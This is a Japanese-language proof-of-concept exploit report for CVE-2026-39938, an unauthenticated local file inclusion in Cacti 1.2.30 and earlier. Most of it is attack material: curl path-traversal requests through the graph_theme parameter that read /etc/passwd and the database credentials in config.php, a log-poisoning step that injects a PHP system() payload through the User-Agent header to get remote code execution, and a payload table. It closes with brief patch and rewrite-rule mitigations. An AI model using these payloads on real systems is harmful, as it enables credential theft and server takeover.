
CVE-2026-39938の概念実証エクスプロイト:Cacti <= 1.2.30における未認証のローカルファイルインクルージョン。ログポイズニングによる任意ファイルの読み取りとリモートコード実行を可能にします。
| フィールド | 値 |
|---|---|
| CVE ID | CVE-2026-39938 |
| CVSSスコア | 9.8 (重大) |
| 影響を受ける製品 | Cacti |
| 影響を受けるバージョン | <= 1.2.30 |
| 修正バージョン | 1.2.31 |
| 修正コミット | 9871f0c |
この脆弱性は lib/rrd.php に存在し、graph_theme パラメータがサニタイズなしで直接使用されています:
脆弱なコード:
if (isset($graph_data_array['graph_theme'])) {
$rrdtheme = $config['base_path'] . '/include/themes/' . $graph_data_array['graph_theme'] . '/rrdtheme.php';
}
修正されたコード:
if (isset($graph_data_array['graph_theme'])) {
$theme = basename($graph_data_array['graph_theme']);
if ($theme === '' || $theme === '.' || $theme === '..') {
$theme = get_selected_theme();
}
$rrdtheme = $config['base_path'] . '/include/themes/' . $theme . '/rrdtheme.php';
}
問題点: ../ パストラバーサルシーケンスに対する検証がないため、攻撃者は認証なしで任意のファイルを読み取ることができます。
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd"
結果: レスポンスに /etc/passwd の内容が表示されます。
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php"
結果: データベースの認証情報(ユーザー名、パスワード)が露出します。
curl -k -s "http://target-cacti/graph_image.php?local_graph_id=1" \
-H "User-Agent: <?php system('id'); ?>"
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log"
結果: コマンドの出力(例: uid=33(www-data))が表示されます。
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php
http://target-cacti/graph_image.php?local_graph_id=1
ヘッダー付き: User-Agent: <?php system('id'); ?>
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log
cd /var/www/html/cacti
git fetch --tags
git checkout tags/release/1.2.31
grep -A 5 "if (isset(\$graph_data_array\['graph_theme'\]))" lib/rrd.php | grep basename
RewriteCond %{QUERY_STRING} (^|&)graph_theme=\.\./ [NC]
RewriteRule ^graph_image\.php$ - [F,L]
セキュリティ研究目的で生成されたレポート 日付: 2026年6月27日
| エンドポイント | パラメータ | ペイロード例 |
|---|
/graph_image.php | graph_theme | ../../../../../../../etc/passwd |
/graph_image.php | graph_theme | ../../../../include/config.php |
/graph_image.php | graph_theme | ../../../../../../../var/log/apache2/access.log |